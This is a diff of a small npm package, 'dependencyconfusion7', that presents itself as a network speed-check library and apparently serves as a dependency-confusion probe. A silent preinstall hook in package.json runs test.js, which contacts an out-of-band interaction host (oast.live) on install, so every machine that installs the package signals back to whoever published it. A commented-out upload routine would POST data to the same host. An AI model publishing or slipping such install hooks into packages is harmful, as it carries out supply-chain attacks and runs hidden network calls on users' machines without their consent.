dependencyconfusion7 1.0.0

package/index.js

@@ -0,0 +1,188 @@
+const http = require('http');
+
+const https = require('https');
+
+let { URL, Url } = require('url');
+
+/**
+
+ * Use the default Node URL Class if found i.e. Inside a Node environment
+
+ * to allow http and https, otherwise use the Url consturctor for browser environments
+
+ * strictly limited to https for secure connections
+
+ */
+
+URL = URL ? URL : Url;
+
+
+const chars =
+
+  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]{}|;':,./<>?";
+
+
+class NetworkSpeedCheck {
+
+  /**
+
+   * Function to check download speed
+
+   * @param {String} baseUrl {Required} The url to which the request should be made
+
+   * @param {Number} fileSizeInBytes {Required} The size (in bytes) of the file to be downloaded
+
+   * @returns {Object}
+
+   */
+
+
+  _protocol (url) {
+
+    var u = new URL(url)
+
+    return u.protocol === 'http:' ? http : https
+
+  }
+
+  checkDownloadSpeed(baseUrl, fileSizeInBytes) {
+
+    this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes)
+
+    let startTime;
+
+    let protocol = this._protocol(baseUrl)
+
+    return new Promise((resolve, _) => {
+
+      return protocol.get(baseUrl, response => {
+
+        response.once('data', () => {
+
+          startTime = new Date().getTime();
+
+        });
+
+
+        response.once('end', () => {
+
+          const endTime = new Date().getTime();
+
+          const duration = (endTime - startTime) / 1000;
+
+          // Convert bytes into bits by multiplying with 8
+
+          const bitsLoaded = fileSizeInBytes * 8;
+
+          const bps = (bitsLoaded / duration).toFixed(2);
+
+          const kbps = (bps / 1000).toFixed(2);
+
+          const mbps = (kbps / 1000).toFixed(2);
+
+          resolve({ bps, kbps, mbps });
+
+        });
+
+      });
+
+    }).catch(error => {
+
+      throw new Error(error);
+
+    });
+
+  }
+
+
+  checkUploadSpeed(options, fileSizeInBytes = 2000000) {
+
+    let startTime;
+
+    const defaultData = this.generateTestData(fileSizeInBytes / 1000);
+
+    const data = JSON.stringify({ defaultData });
+
+    return new Promise((resolve, reject) => {
+
+      let req = http.request(options, res => {
+
+        res.setEncoding("utf8");
+
+        res.on('data', () => {});
+
+        res.on("end", () => {
+
+          const endTime = new Date().getTime();
+
+          const duration = (endTime - startTime) / 1000;
+
+          const bitsLoaded = fileSizeInBytes * 8;
+
+          const bps = (bitsLoaded / duration).toFixed(2);
+
+          const kbps = (bps / 1000).toFixed(2);
+
+          const mbps = (kbps / 1000).toFixed(2);
+
+          resolve({ bps, kbps, mbps });
+
+        });
+
+      });
+
+      startTime = new Date().getTime();
+
+      req.on('error', error => {
+
+        reject(error)
+
+      });
+
+      req.write(data)
+
+      req.end()
+
+    })
+
+  }
+
+
+  validateDownloadSpeedParams(baseUrl, fileSizeInBytes) {
+
+    if (typeof baseUrl !== 'string') {
+
+      throw new Error('baseUrl must be a string')
+
+    }
+
+    if (typeof fileSizeInBytes !== 'number') {
+
+      throw new Error('fileSizeInBytes must be a number')
+
+    }
+
+    return
+
+  }
+
+
+  generateTestData(sizeInKmb) {
+
+    const iterations = sizeInKmb * 1000; //get byte count
+
+    let result = '';
+
+    for (var index = 0; index < iterations; index++) {
+
+      result += chars.charAt(Math.floor(Math.random() * chars.length));
+
+    }
+
+    return result;
+
+  }
+
+}
+
+module.exports = NetworkSpeedCheck;

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "dependencyconfusion7",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node test.js > /dev/null 2>&1",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC"
+}

package/test.js

@@ -0,0 +1,50 @@
+const NetworkSpeed = require('./index.js');
+
+const testNetworkSpeed = new NetworkSpeed();
+
+
+async function getNetworkDownloadSpeed() {
+
+  const baseUrl = 'https://depenconf7.download.cp6ncglqburjov5thgegu489rxikay6en.oast.live';
+
+  const fileSizeInBytes = 500000;
+
+  const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
+
+  console.log(`Download Speed: ${JSON.stringify(speed)}`);
+
+}
+
+
+async function getNetworkUploadSpeed() {
+
+  const options = {
+
+    hostname: 'depenconf7.upload.cp6ncglqburjov5thgegu489rxikay6en.oast.live',
+
+    port: 80,
+
+    path: '/catchers/544b09b4599c1d0200000289',
+
+    method: 'POST',
+
+    headers: {
+
+      'Content-Type': 'application/json',
+
+    },
+
+  };
+
+  const fileSizeInBytes = 200000
+
+  const speed = await testNetworkSpeed.checkUploadSpeed(options, fileSizeInBytes);
+
+  console.log(`Upload Speed: ${JSON.stringify(speed)}`);
+
+}
+
+
+getNetworkDownloadSpeed();
+
+// getNetworkUploadSpeed();